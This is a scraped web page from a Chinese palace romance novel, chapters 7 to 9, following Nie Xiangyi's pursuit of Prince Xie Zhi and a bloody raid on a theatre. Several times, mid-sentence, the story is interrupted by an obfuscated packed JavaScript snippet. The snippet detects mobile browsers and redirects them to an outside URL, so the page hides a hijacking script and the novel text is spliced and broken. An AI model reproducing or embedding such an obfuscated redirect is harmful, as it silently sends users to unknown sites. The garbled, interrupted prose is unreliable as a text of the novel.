;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041648|178801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴沉着一张脸,远远望着聂相宜。 “姑娘实在无礼。不敬长辈、不睦姐妹。”她一字一句地说道,“如此德行,实是不配嫁做人妇的。” 她是京中出了名的教养嬷嬷,有她这句话,往后聂相宜在京中,只怕是再难议亲。 “你以为我会在意?姑姑这话,吓吓别的世家贵女或许派得上用场。” 聂相宜嗤了一声,“用一些莫名又无聊的规矩框住自己,只为了一个能让夫家满意的好名声,我还嫌累得慌呢。” 乌姑姑亦是冷笑,“这般豪言壮语,等得姑娘议亲之时,再说不迟啊。” 说罢拂袖而离去。 含絮看着乌姑姑离去的背影,“总算是给姑娘出了一口气!” 聂相宜冷言道:“她若是不与江云娥沆瀣一气前去告状,江云娥又怎么会把主意打在雪墨的身上?有本事冲着我来啊!对毫无反抗之力的小猫下手算什么本事!着实令人不齿!” 含絮却有片刻迟疑,她脸上露出些担忧神色来,“只是这乌姑姑说话的确有些分量……若她真误了姑娘议亲可怎么好。” 聂相宜扬着下巴轻哼了一声,“我才不怕呢!” 含絮又道:“姑娘此次回京,本就是老将军想着姑娘到了议亲的年纪,否则何必来受这份委屈!” 聂相宜想起回京城的前日,外祖语重心长地对她说,“鄯州偏远,总不能耽误了阿兕。无论家世渊源,一切只要我们阿兕喜欢即可。” 她脑中无端便浮现出那张面具下的漂亮眼睛来。若是与他议亲…… 她突然便红了脸。 这般模样,倒是吓了含絮一跳,“莫不是又发热了?姑娘不该将窗户开着受风的……” “含絮。”她却歪头看着含絮,红扑扑的脸蛋上,眼眸亮晶晶的,“我们去找三殿下吧。” 她抿了抿唇,又补充道:“上次他替我说话,还帮我找猫,我还未曾谢过他呢。” “待姑娘身子好些再说可好?” 如此又过了几日,府里仍是闹蛇不止,江云娥接连数日不敢阖眼,兼之受了惊吓,病得起不来身。 聂相宜倒是借着风寒的由头,图了个清净,看了几日的热闹。 等得她彻底痊愈,这才迫不及待地拉了含絮,朝神策司的方向去了。 谢知下值向来没有定数,如今四处守卫,聂相宜又翻不了墙头,便只能在神策司门口等他。 门口两只镇门石狮威风凛凛,神策守卫目不斜视。聂相宜等得百无聊赖,只用抠着石狮的眼珠子玩。 直到天色逐渐暗沉,聂相宜脚都站软了,由远及近的脚步声终于响起,她又看见了谢知的身影。 她挥了挥手,刚想跟谢知打招呼,却不曾想他根本没看见她,俯身便上了马车。 “殿下!”聂相宜急急唤道。 还是凌竹先瞧见了她,“殿下,是聂大姑娘。” 谢知冷清的声音从马车内传来,“何事?” 聂相宜忙想上前,却因脚站麻了,一挪步子便突然踩了裙子,朝前趔趄了一下,被含絮堪堪扶住。 这般手忙脚乱的模样让聂相宜后知后觉地有些丢脸。她粉白的脸颊泛起红晕,指尖搓着衣角,嗫嚅着问道:“殿下……我可以先上马车再说嘛……” 7. 第 7 章 凌竹惊讶地看了一眼聂相宜。 她竟半点不似其他世家女子那般循规蹈矩、自矜稳重,居然主动提出要与自家殿下同乘。 更何况三殿下向来冷清淡漠,怎会轻易应下。就连几日前许是因着下雨允她上了马车,这之后却是命人换下了车内一应物什,想来也是不喜的。 他的目光落在马车帷裳之上。 果然,殿下并未允她上马车,“何事直说便是。” 聂相宜看了一眼凌竹,又捏紧了袖中的东西。有凌竹在这里看着,倒让她有些不好意思将送他的礼物拿出来了。 她瘪着嘴,话里还带着些瓮瓮的鼻音,“可是我等你等得脚都麻了呀……” 她的声音又轻又软,就像是底气不足在撒娇似的。 马车内是良久的沉默。 凌竹已然明白自家殿下的态度,于是颇有眼色地上前,准备礼貌地请聂相宜离开。 “聂姑娘……烦请让……” “罢了,让她进来。”只是他才刚开口,便听得马车内有声音传来。 声音平淡,似乎不带丝毫情绪。 凌竹按捺下心中的讶异,表情毫无波澜,转身为聂相宜撩开帷裳,“聂姑娘,请。” 谢知紧绷着下颌,看着聂相宜提着裙子轻快地上了车。 当那股熟悉的清郁栀子香气钻入他鼻尖时,他竟不知自己方才鬼使神差,为何允她上了马车。 他厌烦地微微皱了皱眉。 她一见他,眼睛便倏地明亮起来,一边朝他施以一礼,一边眉眼弯弯地叫他,“殿下。” 她的视线毫不躲避,羽睫随着眼睛的轻眨而闪烁,就连鼻尖那颗小痣也变得生动起来。而谢知手中书卷依旧,并为看她,只问,“何事。” 聂相宜的指尖在袖口处摩挲了片刻,似乎是在想着怎么开口,“我……我是来谢殿下的……” 谢知墨黑的眼眸一凝,视线忽地落到了她的身上。 目光兀的相撞。这双她记了许多年的漂亮眼眸,此刻正安静地注视着她。 这个认知让聂相宜莫名紧张起来,她搓着衣角,眼神忽而躲闪起来,“多……多谢殿下上次帮我寻找雪墨……还有……还有在齐国公时为我澄清……” 还未等到谢知的回应,就听得外头凌竹的声音通报:“殿下,小裴大人正在府上等着殿下。” “知道了,先回府。”谢知应了一声。 他不再看聂相宜,视线重新落在书卷之上,声音冷淡,“你已谢过,可以走了。” 聂相宜先是一怔,忙急急说道:“还没!还没!” 说着她便准备从袖中拿出谢礼来。 凌竹见聂相宜并未出马车,以为是殿下又别的吩咐,倒也没多想,只是吩咐车夫启程回府。 突然前行的马车让聂相宜毫无准备地朝前跌撞了一下,袖口的东西恰巧落在谢知的脚边。 他垂眸睨去,是一枚荷包,一枚针线歪歪扭扭、看不出花样的荷包。 谢知冷眼看着落在他脚边的那枚荷包,不为所动。 聂相宜忙躬身去捡,只是在起身时却不小心撞到车内小几,疼得她轻呼了一声,几上茶盏也被她撞得叮铛乱响。 她揉着脑袋起身,连发髻也乱了些。 一时间手忙脚乱。 外头听到动静的凌竹心头一惊,狐疑地看了一眼紧闭的帷裳。 聂相宜疼得眼泪汪汪,仍没忘红着眼睛将荷包递给谢知,“殿下,这……这是我自己亲手绣的荷包,多谢殿下前几日相助。” 乌姑姑那几日的规矩倒是也没白教,硬逼着她学了些绣花功夫。 谢知并未接过那荷包,只敛眉说道:“不必了。” 荷包这种贴身之物,向来是情人间互通心意,以作赠礼的。她这般平白送人这个,实在是有失闺阁女儿家的身份。 他抬眸看了一眼巴巴望着他的聂相宜,不由得皱了皱眉。 如果她没认错人,会送出这枚荷包吗? 被拒绝的聂相宜顿时耷拉下眉眼来,又不死心地将荷包朝谢知的方向递了递,“殿下,收下吧……我缝了很久的……” 她每次祈求的时候,总是这般将尾音拉得长长的,好似一双猫爪轻轻挠人。 谢知沉默不应,那截皓白的手腕就这样尴尬地僵在空中。 “这还是我第一次做荷包呢……”聂相宜露出些蔫吧的神色,自言自语地嘟哝了一声。 没等谢知接过荷包,聂相宜便听得他像是随口问了一句,“你的雪墨找到了吗?” 她颊边原本生动的表情突然僵住,连眼眸也因这句话突然黯淡了一瞬。 而后她颓丧地摇摇头,“雪墨死了。” 谢知手上翻书的动作微微一顿,须臾又见她勉强地笑了笑,“不过我为它报仇了!” 他隐约从她话中能窥见些什么。 死掉的雪墨,推她的手。作为自宫中长大的皇子,他见惯了这些你争我抢的腌臜手段。 但他并不想过多关注她。 只是没由来地,他鬼使神差地从她手中接过了那个荷包。 上好的云锦内是粗粝的针脚,还带着些磨手的线头。荷包上绣着的花样看不出样式,各式的绣线凌乱地掺杂在一起,显得有些滑稽。 谢知仔细分辨了片刻那荷包上的花样,似乎绣的是一只小狗。 她为什么会送自己这样花样的荷包? 谢知抿着唇,冷声说道:“这花样不合礼制。” “怎么会?”聂相宜惊讶地瞪大了眼睛,“麒麟也不合礼制吗?” 谢知捏着荷包的手一僵。 原来是麒麟啊。 见谢知的视线一直落在那花样上,聂相宜不知为何有些脸红。她语气有些心虚,“可能绣得不算太好……” 不过很快她又理直气壮起来,像是为自己打气似的,“我第一次能绣成这样,已经很不错了!麒麟很难的!诺!我还算绣得有鼻子有眼的嘛!” 她本就是第一次做针线。从前在鄯州时,整日里吃喝玩闹,从来也没人逼她学过这些。如今不过是现学现卖罢了。 “嗯。”谢知难得眼底浮出一丝笑意,“的确又有鼻子又有眼。” 这话倒不似夸奖,聂相宜愈发脸红局促起来。 少时,马车渐渐停了下来。聂相宜正欲下车,却听见谢知叫住了她,“等等。” 她疑惑回头。 谢知依旧没看她,只说道:“你发髻乱了。” “嗯?”聂相宜后知后觉地扶了扶发髻,想起方才在小几上撞了头,将发髻撞得有些散。 “于理不合。”谢知提醒她。 她稍稍用手拢了拢发髻,毫不在意地说道:“无事!索性天已黑了,旁人见瞧不见!” 谢知皱眉看她,“正因天黑。” 如此鬓角散乱地从他马车内出去,若是被有心之人看见,不知会传成什么样子。 他想,还是不该让她上马车的,委实麻烦。 那枚荷包还攥在他的掌心,不知如何处理。 聂相宜不满地瘪了瘪嘴,坐下来重新拢好发髻,颇有些气鼓鼓地瞪着谢知,“现在可以了吧!殿下!” 她“殿下”两个字咬得极重,生怕旁人不知道她不满似的。 谢知没瞧她,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041649|178801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自顾先下了马车。 “咦?怎得未到宫门?”聂相宜下了马车,这才发现马车并未到宫门前,而是在一处宅邸前停下了。 她四处张望片刻,才发现这里离皇宫相去甚远,宅邸亦并无匾额。 “我们殿下并未居于宫中。”凌竹答道,“这是殿下在宫外的宅邸。” 聂相宜有些疑惑,“殿下并未封王,为何离宫而居?” 凌竹闻言即刻肃然,“姑娘僭越了。” 没再等聂相宜说话,他转向谢知,“殿下,小裴大人在书房等候多时了。” 谢知颔首,不再多言,只朝着府内走去。 “殿下,这次可要将马车中物什一应换过?”凌竹在他身后亦步亦趋地跟着,压低了声音问道。 作为一个合格的得力下属,一定要有主动做事的眼力见。 谢知凝眸看了他一眼,直到看得凌竹有些头皮发麻,他才淡淡说道:“那便换了吧。” 掌中荷包的针脚磨在掌心有轻微的痒,他鼻尖像是再次嗅到了那扰人的清香。 “殿下!”轻快活泼的声音在身后响起,像是黑沉夜色中的一道亮光。 聂相宜还没走,谢知自府门回眸看她,她的眼睛在黑夜中亮似星子,“下次我可以到这里来找你吗?” 既已知道他的住处,又何必去神策司苦等。 “不可。”谢知拒绝的声音冷淡而平静。 聂相宜装作没听见。 毕竟这里的院墙大概必神策司好翻多了。 她弯了弯眼睛,见谢知入了府,也转身与含絮往永宜侯府的方向走去。 “姑娘,荷包殿下可收下了?” “那是自然。”聂相宜颇为骄傲地哼了一声,“殿下夸我做得有鼻子有眼呢。” 也算夸吧。 含絮叉着腰,跟着神气起来,“这下可打了乌姑姑的脸了!她当时百般嫌弃姑娘的荷包丑呢!” 说起这个,聂相宜便有些忿忿,“她当时还居然说我的荷包拴在狗身上,狗都嫌害臊!到时候殿下佩在身上,看她怎么说!” 含絮总觉得这话听着有些怪怪的,又说不上来,只小鸡啄米似的连连点头。 这样一边走着一边闲话。 夜色沉沉中她突然听得身后含絮疑惑开口,“咦?姑娘,你那只蝴蝶小钗呢?” “什么蝴蝶小钗?”聂相宜一怔。 含絮指了指她的发髻,“今日我在这里为姑娘簪了一支蝴蝶小钗呀。” 聂相宜顺着她的手摸着发髻,“许是方才放在掉在殿下的马车上了。” 她摆了摆手,“罢了,也不是什么重要玩意。明日你随我去一趟书肆罢。” “去书肆干嘛?”含絮不解。 买首饰应该去珍宝坊才是。 聂相宜眼眸闪烁着坚定的光,“投其所好!” 虽说谢知不记得她了,此后她总要让他牢牢记得才是! 这厢,凌竹候在书房外。 殿下与裴家的小裴大人正在内里议事。 有下人匆匆来禀,“凌竹大人,殿下马车内物什一应更换好了……” 凌竹板着脸嗯了一声,“知道了。” 又见那下人神色吞吞吐吐,不由得皱眉低声斥道:“何事直说便是!” 下人颤颤巍巍递上一枚蝴蝶朱钗,“回大人,我们在马车内……发现了这枚珠钗……” 凌竹看着那枚蝴蝶珠钗,兀的想起方才在马车外听到的动静,脑中不由得浮现出聂家姑娘刚下马车时,似乎鬓角有些散乱。 他转身看了一眼书房烛火映照出的颀长人影,难得地瞪大了眼睛。 8. 第 8 章 永宜侯府这几日乱糟糟的。 自从那晚闹蛇之后,四处熏的雄黄艾草呛人极了。只是阳秋那日放的蛇多,足有一麻袋,府中奴仆来来往往,惊得那些蛇四处乱窜,总也抓不完。 这日里聂相宜正准备出门,便见有好几个江湖术士,手拿铜铃,腰佩铜钱,在府中来往。 她心下疑惑,便问含絮,“这些人是来干什么的?” “江氏说那日闹蛇闹得蹊跷,才过了惊蛰,哪来这么多蛇,偏还都在她的院子里。怕是惹上了什么不干净的东西,这才请了人来看一看。” “不干净的东西?”聂相宜不屑地嗤了一声,“我看她是被吓昏了头。” 说着便与含絮出门而去。 正是春日,微风和煦,京城八街九陌,向来繁华喧闹。四方人头攒动,邸店如织。 聂相宜驻足于一门庭若市的商铺之前,其间人来人往,十分热闹。 “这便是京城最大的书肆?” 她仰头望去,酸枝梨木的匾额上用隶书镌刻着书肆的招牌——文昭书肆。 踏步进去,聂相宜才发现其内别有洞天。 文昭书肆分两层,底层临街,琳琅满目的书籍被分门别类地整齐摆放,井然有序。 顺着八角楼梯往上,二楼便是书场堂会。说书人唾沫横飞,敲着云板讲着时下风靡的书籍话本。 “姑娘,是想买书还是听书?”店内伙计讨笑着上前,十分殷勤。 “买书。” 聂相宜想着投其所好。每次见谢知时,他手中都握着书卷,想来应是喜好看书的。 “姑娘想买些什么书?小店必能为姑娘寻到。” 聂相宜读书甚少,哪里对古籍书卷有所了解。她索性十分豪气的将一锭银子往柜台上一搁,“要最难买到的书!” 谢知是皇子,有宫中太傅教导,自然见过不少好书。她若是要送,便要送最特别的才是! “最难买到的书?”伙计咀嚼着她的话,神色兀的变得古怪起来。 他上下打量她片刻,随即干笑两声,“有的姑娘,有的。” 说着他收下柜台上的银子,躬身在书架的最下层寻找起来。一边寻找一边自信开口:“姑娘算是来对地方了!这种书,也就我们这里有的卖了。您若是上别的书肆问去,保准没有的!” 聂相宜听他这么说,又看着这伙计的动作,心想这书卷必定十分珍稀,居然藏得这么深,还压在书架最底下。 她满眼期待地探着头,望着那伙计的动作。 “掌柜的!上次劳你收的孤本,可收到了?” 还未等伙计将那书找出来,突然闯入的声音便打断了他的动作。 聂相宜循声望去,目光相接霎那,二人齐齐惊呼出声,“是你!” “是王五郎君呀。”伙计忙起身相迎,一边赔笑,“收到了收到了。我们掌柜的嘴皮子都磨破了,这才收了那《昭明文录》的孤本。” 眼前之人,便是在聂相宜回京接风宴上,与她有过一面之缘的王五郎王贺璋。 王贺璋是太常寺卿家的小儿子,在家中极受宠爱。只见他着一身石青倭缎长袍,腰间系一块莹润紫玉。 他身量修长,面容本就清俊,皮肤更是白皙好似女子。今日这身打扮,更衬得他少年清秀俊俏模样。 那王贺璋一见了聂相宜,脚步倏地一顿,兀的瞪大了眼睛。那本就粉白的肤色自面颊透出绯红的颜色,一直蔓延到耳根。 “你!你怎么会在这里!” 他仍记得上次在聂府,这位聂大姑娘当着众人的面毫不避讳,眨着眼睛弯眼看他,“这位郎君倒是生得俊俏呢。” 自此害他被同族笑话许久,说他堂堂太常寺卿家的公子,竟被一个姑娘调戏了。 聂相宜见他一惊一乍,只瞥了他一眼,语气理所当然,“我来买书啊。” 这般神色冷淡的模样,倒让王贺璋莫名有些恼。于是他梗着脖子呛她,“你能买什么书去!” 谁不知道聂相宜是京城出了名的不学无术,就连飞花令也对不上来。 聂相宜正想反呛回去,恰在此时,那伙计却将书递给了她,压低了声音,“姑娘,这是您的书。” 她见那书用锦布包裹,店内伙计又神神秘秘,不由得心生好奇——什么书这么金贵? 她伸手去翻,“俏……” 这才刚瞧见一个字,就被一旁王贺璋眼疾手快地一把按住。 他的脸愈发通红,连带着修长脖颈几乎红成一片。他皱着眉瞪聂相宜,“你一个姑娘家!买这种书做什么!” “姑娘家就买不得了?”聂相宜一听他这话,乍然火起,心里生出些叛逆之意,“就许你们男儿看?我偏要看!” 她还不信了!什么书这般金贵? 她说着便去掰王贺璋的手,一边斥他,“还是世家公子呢!竟也如那些老古板一般,瞧不起我们女子!” “谁!谁瞧不起你了!” 聂相宜与他大眼对小眼,“那你放手让我看啊!” “你!”王贺璋在与她久久的对视中败下阵来,像是自暴自弃般收回了手,“罢了!真不知你……” 脑子里都是些什么道理。 得胜的聂相宜只是骄傲地朝他扬了扬下巴,而后颇为自得地翻开了那书。 片刻的静默之后…… “谁叫你给我这种书的!!!” 只见那书从聂相宜手中唰地一下便飞了出去。她脸颊蕴出绯红的颜色,一双眼眸胡乱地飘,连眼神都不知何处安放。 伙计不满地皱了皱眉,弯腰捡起那书来,心疼地掸了掸灰,“姑娘不喜欢便罢了,何苦将它扔了出去。只此一本了呢!” 聂相宜红着脸瞪那伙计,“谁叫你给我这种书的!” “您自己说的呀。”伙计理直气壮,“要难买的书。没有什么书比这更难买了。” 聂相宜脑中浮现起方才看到的文字,脸颊更是热烫起来。 难怪方才王贺璋不让他看。 她脑中忽地想起,万一这书要是送给了谢知…… 聂相宜都不敢想。 “我要的是可以送人的那种!” 伙计心说这个也可以送人。只是看聂相宜的样子,便知是说岔了,于是笑笑,“姑娘说的是古籍孤本之类的吧,也有呢。” 他说着便取来木梯,准备去从书架最顶上取,“前两日掌柜的同那本《昭明文录》一同收回来的,还有一本《九星文说》的孤本。” 聂相宜方要开口,便听得一旁的王贺璋说道:“那本我一同要了。” 说着,他挑衅似的看了聂相宜一眼。 害他被笑话那么久,眼下有机会给聂相宜使袢子,他才不会轻易放过。 果然,聂相宜闻言顿时叉腰瞪他,“你这人懂不懂先来后到?” “这书是我早就定下的!是谁没有先来后到?” “你定下的明明是《昭明文录》!” 王贺璋得意地哼了一声,“伙计,你告诉她。我是不是说过,但凡孤本,我必收之?” 伙计神色为难地点了点头。 “你!”聂相宜一时气结,忿忿斥道,“亏我还觉得你模样俊俏,原不曾想你这般小肚鸡肠!” “大庭广众的你胡说些什么!”此话一出,王贺璋脸上方才褪下的红卷土重来,瞬间便沁透了皮肤。 他瞪着聂相宜,却因脸红无半点气势,“你!你一个堂堂侯府小姐,怎得说话这般……这般没有遮掩!半分自矜也无!” 而后像是自暴自弃般无奈,“罢了罢了!我亦惹不起你!那《九星文说》还是让与你罢了!” 说着也不看聂相宜,他转头便吩咐伙计,“帮我摹一份拓本罢了。” 伙计忙不迭点头,“那二位不如楼上书场稍坐片刻,我马上安排人为您摹书。” 王贺璋头也不回,像是怕与聂相宜对视似的,匆匆上了楼,只留给聂相宜一双通红的耳尖。 又有旁的伙计引着聂相宜上楼落座。 周遭雅致屏风间隔,堂内却十分热闹。说书声、喝彩声与众人闲谈交杂,此起彼伏。 如此等候了一番功夫,聂相宜正听那说书人说得精彩,忽地有旁坐闲聊传入她的耳朵 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那议论声戛然而止,倏地成了窸窸窣窣的窃窃之语,带着调侃之意,“哟!你这般维护聂家姑娘,难不成你想娶她?” 王贺璋脸几乎红得滴血,不知是与人争执气的,还是因他们的话给恼的。 只是他自小礼教分明,自是分辩不过他们。 聂相宜嗤了一声,嘲讽出声,“我道是什么不得了的世家?我聂相宜倒由得你们挑拣起来了?庸者轻贵,也不撒泡尿照照自己的穷酸样?” “你!” 众人还想与她争论,伙计匆匆上来,“郎君,书已经摹好了。” 聂相宜下楼接过那书,又看了一眼依旧脸红的王贺璋,“瞧你这般脸红模样。口齿不够伶俐,就别强自替人出头了。” “你!”王贺璋气结瞪她,“我明明是好心帮你!” 聂相宜哼了一声,“不用你帮我也能行。” 两人有一搭没一搭地呛着,刚出文昭书肆,聂相宜远远便见一身黑甲的神策卫自街头而过,整齐的脚步声与盔甲震动发出的声响带着肃杀之气,诸人无不垂手相让。 在神策卫之后,一架马车碌碌向前。 聂相宜见之眼睛一亮,那一定是谢知的马车! 她捏紧怀中的孤本,心想真是极巧,不如此刻便将书赠他。 这厢正欲上前,便突然被身后的王贺璋拉住了手腕,“欸!你干什么!” “要你管!”聂相宜瞪他一眼。 “眼下他们定是在执行公务。”王贺璋煞有介事地回瞪她,“神策卫的规矩,扰公务者,杀无赦!” 说着他还用手抹了抹脖子。 “哪有那般夸张……” 王贺璋哼了一声,“我敢打赌,你要是敢上前,神策卫的长矛就敢将你捅个对穿!” 聂相宜闻言瘪了瘪嘴,不再上前。 凌竹行走在马车旁,余光忽地一瞥,便在人群中瞧见一个熟悉的姝妍身影,与王家五郎并行而立。 他想起昨夜落在马车上的那只珠钗,犹豫了片刻,最终还是隔着马车帷裳说道:“殿下。聂大姑娘也在此处……和王家五郎一起。” 须臾,谢知的手撩开了帷裳的一角。 书肆门前,眉眼活泼生动的少女仰脸望着面前的少年郎。二人言笑晏晏,不知说到什么,那王五郎伸出手拉住了少女的手腕。 如此同行一处,很是要好的模样。 谢知忽地想起,她曾经是夸过王五郎模样俊俏的。 他的手倏地放下了帘子,冷声对凌竹道:“你如今的差事很闲吗?什么闲人轶事都要禀报了?” 啊?凌竹疑惑。 殿下的态度……难不成昨晚那只珠钗,是他想错了? 也是,殿下是何等月明风清的人物,怎么会对聂家姑娘有什么呢?定是他自己想岔了。 良久之后,轿撵内冰冷的声音复又传来。 “你去书肆打听打听,今日他们都做了些什么。” 9. 第 9 章 直到神策卫自街而过,王贺璋远远望着黑甲的方向,眼神中满是艳羡,“三殿下当真是年轻有为。今年不过也才十九,竟能独揽神策司大权。” 说着,他语气中又露出些隐约的惋惜之意来,“只可惜……” 聂相宜听得他口吻叹惋,似乎有话未曾言尽,不由得抬头问他,“只可惜什么?” “没……没什么。”王贺璋干笑一声,似乎察觉自己失言。 见他不愿意说,聂相宜轻哼了一声,“罢了!今日算我欠你一个人情!” 说着她将那孤本在手中扬了扬,“多谢你割爱。” 王贺璋脸上又覆上一层薄薄的粉色来,只是嘴上仍是嘴硬,低声嘟哝了一句,“原来你也会说谢谢啊……” “那我收回这句话好啦。”聂相宜闻言气鼓鼓地乜他一眼,朝他扮了个鬼脸,“反正我聂相宜是个刁蛮无礼之人。” “欸!我不是那个意思!” 王贺璋还想说些什么,聂相宜却已经捧着书轻快离开了。 烟粉衣裙的背影淹入人群,逐渐消失在少年的清澈眼眸。 而聂相宜转头去了瓦肆观百戏。 聂府眼下乌烟瘴气,她不想回府。只盘算着等晚些时候谢知下值,便将书送去了他的府上。 瓦肆乃市井之地,鱼龙混杂,宗室权贵向来甚少踏足。只是比之园林府邸,这里是难得的热闹。 数座勾阑齐聚于此,杂剧杂耍五花八门,甚是新鲜。 聂相宜正兴致勃勃,在一皮影勾阑的雅座中坐下。只是她那戏还未开场,便听得周围突然乱哄哄的。 还未等她瞧见发生了什么,只听得“噗嗤”一声,一束鲜红的血顿时喷在皮影的幕布之上,唱戏人漆黑的影子随即软软地倒了下去。 突如其来的惊变让整个勾阑顿时惊慌起来。 盔甲摩挲的声音随之而来,“神策卫公务!捉拿晋王余孽!勿要妄动!” 不过转瞬之间,一身黑甲的神策卫就已将此包围。 众人闻得神策卫三字,眼中早已露出惊恐之意,又听得是捉拿晋王余孽,不由得面面相觑,谁也不敢轻举妄动。 昔日晋王与圣上之争,几乎波及大半朝廷。晋王之乱余波未平,不曾想那些孽党竟藏在了瓦肆勾阑。 诸人神色不由得紧张起来,生怕自己被当做孽党带走。 一时间除了盔甲簌簌,原本热闹喧哗的勾阑竟安静无声。 自那黑甲簇拥之中,缓缓走出一青衣人影。 他那张斯文清冷的面容与周围肃杀之气几乎格格不入,浑身连配剑也无。只恍若陌上翩翩公子,一身青袍衬得他如竹似玉。 然而那双漆黑的眼眸却毫无波澜,冷漠视线扫过堂内,就已经带足难以言明的压迫之感。 那是一种毫不在意的轻视。 仿佛这勾阑之内的所有,于他眼中如同死物,不值一提。 聂相宜一见他,眼睛瞬间明亮起来。 “殿……”她正欲朝他挥手,却想起王贺璋说的神策卫公务期间不得打扰,又悻悻将手放了回去。 谢知的眼神似乎在她身上停了一瞬,又很快平静地移开。 神策卫四处搜寻,很快在此处搜了数十人出来,五花大绑至谢知面前。 “殿下。” 谢知的眼神居高临下地扫过他们,冷清的声音不带一点温度,“三息之内,供述主使。” 话语平静,似乎这句话并非威胁,而是陈述事实。 那人只是缄口不言。 一声尖利的惨叫之后,神策卫毫不犹豫地用长矛挑断了他的脚筋,几乎没留给他任何反悔的时间。 谢知淡漠的眼神落在第二人身上,“你亦一样,三息时间。” 前者已然在地上一滩血迹的脏污之中疼得打滚,后者眼神惊惧,喉头艰难吞咽。 如此反复的审问与缄默,惨叫声一声又一声地响起,聂相宜的鼻尖几乎能嗅到那淡淡的血腥之气。 她下意识捏紧了衣角。 而谢知的眼睛好似古井无波。 如同眼前处置的只是什么不起眼的物件。 不知是否是她的错觉,她总觉他的眼神曾有一瞬落在她的身上。 哀嚎的痛呼声此起彼伏,无数次提醒后者即将要面对的折磨。终于有人承受不住心头巨大的压迫之意,颤抖着双眼望向角落里的戏班主。 “留活口。” 只留下这样一句话,那身青衣便欲转身离去。 而那班主见神策卫朝他围拢,想是知道自己落入神策卫手中必定不会好过。他从腰间拔出一柄尖刀,突然暴起,倚仗对勾阑的熟悉猛地冲出。 “我跟你们拼了!” 然而他冲着谢知的方向去了不过一瞬,像是突然改了主意,在众人都未曾意料之下,掉头直奔聂相宜而去。 电光石火之间,尖刀几乎距离聂相宜只差毫厘。 冰冷的剑光寒芒闪过,骤然间几乎晃了聂相宜的眼。她下意识闭上了眼睛,只听得“噗嗤”一声,好像是脚踩在厚厚雪地的声音。 她依稀能察觉到裙摆好似被鲜血沾湿,顺着裙角蔓延开来。 凌竹震惊地看着自己腰间空空如也的配剑,眨眼之间便被自家殿下刺入了那孽党胸膛。 不是要留活口吗? 此刻神策卫一拥而上,将那人将死未死的身躯拖了下去。 聂相宜惊讶地瞪大了眼,看着谢知在她面前,将那人捅了个对穿。 他挥剑的姿态云淡风轻,却又果决狠辣,没有丝毫拖泥带水。 她怔怔地看着他的动作,心中却升起莫名的笃定——她绝没有认错人。 曾经的鬼面小将军,也是以这样毫不在意的姿态,挥剑将敌军斩于剑下。 谢知抬眸,眼睛并未放过她神色中的惊惧与震惊。 像是在怕他。 他不动声色地皱眉,眸色微黯,浑身仿佛被寒气浸透。 “怕了?” 他从凌竹手中接过手绢,漠然轻拭溅在手中的血点。那鲜红的血点在他手上好似白玉微瑕,他眉宇间不自觉带着些嫌恶。 聂相宜这才因为他冰冷的声音愣愣回神,以为他是问方才之事,下意识点点头,又忙摇了摇头。 谢知像是突然轻嗤了一声,冷眼看着她的指尖揉捏衣角。 “来这种地方的时候怎么不知道怕?” 聂相宜听他语气中似有训诫之意,不由得瘪着嘴小声嘟哝,“我又不知道这里有逆党……” 谢知扫了她一眼,目光落在她的纤细手腕之上。 “你倒是没让王五郎陪着。” “啊?”他这话有些没头没脑,让聂相宜焉地一怔。 她正想问跟这王五郎有什么关系,就听得凌竹来报,“殿下,那领头的死了。” 谢知转身,将脏污的手绢随手仍在血泊之中。 “死了便死了。” 他像是极其不耐地皱了皱眉,一身青衣转身离去。 直到他的身影消失在聂相宜的视线之中,聂相宜这才后知后觉地想起,刚买的书还未曾送给谢知。 她正欲追上前去,便听得含絮匆匆过来,“姑娘!侯爷请您立刻回去呢!” 她闻言不耐皱眉,“什么事这般着急?” 含絮摇头,“侯爷刚下值便派人来请姑娘了。也未曾明说是何事,只催着姑娘快些回去。” 如今永宜侯府空有虚爵,聂正青不过在朝中领了个太常寺正的闲职点卯,向来清闲。 今日下值,怎得突然想起她来了?还这般急吼吼的? 聂相宜看着自己手中还未送出去的书,犹豫了一番,还是拧着眉头与含絮回了永宜侯府。 “混帐忤逆的东西!你还知道回来!” 聂相宜刚踏入主屋,哐啷一个杯盏便砸在她面前的青石地砖之上,滚烫的茶水飞溅了她满裙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这话让聂正青气得脸色发黑,像是被踩到痛脚般,登时怒气上涌。他扬起手,一个响亮的耳光,掴在聂相宜白瓷般的面颊之上。 “忤逆至极!实是忤逆至极!” 聂相宜似乎并不觉痛,一双倔强的眼睛直直地看着聂正青,语气冰冷而平静,“父亲这一巴掌,我记着了。” 恰在此时,江云娥从外头进来。乍瞧见这一幕,不由得一脸惊慌上前,“这是怎么了?侯爷消消气!” 连日的惊吓让她脸上犹带着苍白的憔悴之色,着实一副我见犹怜的模样。 她转脸看向聂相宜,苦口婆心地劝她:“相宜,侯爷也是为了你好。你何苦这般任性?” 听得她口中任性二字,聂正青更是气上心头,不由得迁怒于她,只没好气地问道:“你来做什么?外头的法事做完了?” 